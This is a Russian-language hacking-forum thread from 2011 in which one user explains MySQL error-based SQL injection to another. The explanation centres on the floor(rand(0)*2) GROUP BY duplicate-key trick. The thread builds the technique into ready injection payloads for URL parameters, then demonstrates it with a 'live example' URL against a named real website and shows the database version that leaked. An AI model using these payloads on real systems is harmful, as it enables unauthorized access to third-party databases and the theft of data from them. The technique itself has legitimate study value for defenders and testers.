ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

27.12.2011, 01:36
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
/showpost.php?p=407227&postcount=3
вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

27.12.2011, 01:42
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
Сообщение от d1v
d1v said:
так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.
ну я и открывал
вот возьмём к примеру етот вопрос
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]min[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]насколько я знаю в скобках надо вводить название столбца[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]што означает там введение цифр[/COLOR][COLOR="#007700"]???
[/COLOR][/COLOR]
вот к примеру первое попавшиеся описание
http://php.su/mysql/?commands
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]Внутренние функции MIN[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]MAX[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]AVG[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SUM
При работе с оператором SELECT вам доступны несколько очень полезных внутренних функций MySQL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]вычисляющих колличество элементов[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]COUNT[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]сумму элементов[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SUM[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]максимальное и минимальное значения[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MAX и MIN[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]а также среднее значение[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]AVG[/COLOR][COLOR="#007700"]).
[/COLOR][COLOR="#0000BB"]Следующие операторы выведут[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]соответственно[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]колличество записей в таблице CLIENTS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]самый дорогой товар и сумму цен всех товаров[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]SELECT COUNT[/COLOR][COLOR="#007700"](*)
[/COLOR][COLOR="#0000BB"]FROM CLIENTS[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]SELECT MAX[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PRICE[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]FROM TOOLS[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]SELECT SUM[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PRICE[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]FROM TOOLS[/COLOR][COLOR="#007700"];
[/COLOR][/COLOR]
также как и в учебнике который я читал, подстовляются стольбцы, а о возможности подстоновки числа ноль и том что и откуда оно будет бывирать не сказано
_______________________________________
|
|
|
|

27.12.2011, 01:44
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
Сообщение от shell_c0de
shell_c0de said:
/showpost.php?p=407227&postcount=3
вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.
спасибо, ща почитаю
|
|
|
|

27.12.2011, 01:52
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249
Где товарищ, Domas Mituzas, недоумевает, почему код
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]mysql[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]x from grouptest1 group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
возвращает, то верный результат, то тот же результат, но в обработчике ошибки:
Сообщение от None
ERROR 1062 (23000): Duplicate entry '
1
' for key 'group_key'
Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из мануала :
Сообщение от None
"You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times".
Исходя из этого некто Qwazar ( пруф ) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]x from users group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
После нескольких попыток выполнить этот запрос, выводится:
#1062 - Duplicate entry '5.5.80' for key 'group_key'
или
#1062 - Duplicate entry '5.5.81' for key 'group_key'
Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR]
Результат:
#1062 - Duplicate entry '5.5.80' for key 'group_key'
или
#1062 - Duplicate entry '5.5.81' for key 'group_key'
К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR]
Постоянный результат:
#1062 - Duplicate entry '5.5.81' for key 'group_key'
Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR]
Ну и уже в виде инъекции в запросе это может выглядеть так:
Код:
Code:
bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]SELECT id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]news FROM content WHERE id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]and ([/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from table group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))))--[/COLOR][/COLOR]
И при условии если существует таблица table, то в ответе будет:
#1062 - Duplicate entry '5.5.8' for key 'group_key'
Живой пример:
Код:
Code:
http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
Duplicate entry '5.0.67-log' for key 1
Теперь наглядно?
|
|
|
|

27.12.2011, 18:48
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
Сообщение от Expl0ited
Expl0ited said:
Теперь наглядно?
да, спасибо большое)
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|